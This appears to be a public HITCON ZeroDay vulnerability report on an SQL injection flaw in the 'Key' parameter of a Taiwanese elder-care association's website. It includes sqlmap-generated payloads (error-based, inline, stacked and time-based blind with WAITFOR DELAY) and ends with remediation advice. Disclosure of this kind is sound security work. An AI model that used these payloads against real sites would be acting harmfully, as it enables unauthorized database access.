Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-01737
- Vendor: 台灣長期照護管理學會
- Title: 社團法人台灣老人暨長期照護社會工作專業協會網站,存在SQL Injection漏洞
- Introduction: 啊就...SQL Injection 漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/12/01 23:25:46 : 新提交 (由 癡情法王 更新此狀態)
- 2018/12/02 01:43:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/12/03 18:25:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/12/03 18:25:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/12/03 18:25:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/01/31 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-01737
- 通報者:RoRo (癡情法王)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
- 於問題URL中,將SQLi語法貼至news_detail.aspx的問題參數Key,會對後端資料庫執行相關SQL指令
-
使用弱掃工具SqlMap掃描問題網址,至少可以列舉出web server上的主機名稱等資訊,漏洞資訊如下:
+++
Parameter: Key (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
Payload: Key=80 AND 4582 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (4582=4582) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)))Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Key=(SELECT CHAR(113)+CHAR(118)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (6682=6682) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Key=80;WAITFOR DELAY '0:0:5'--Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF)
Payload: Key=80 WAITFOR DELAY '0:0:5'
+++
修補建議
1. 針對所有GET/POST的所得到的變數(例如:Key),一定要在server side確認變數中沒有不合規的字元,例如:'、"、--、=、...等
2. 最好還能限制變數內容的字串長度、型別,並使用prepare statement來處理SQL語法的使用
3. 可google一下排除SQL injection的aspx程式開發範例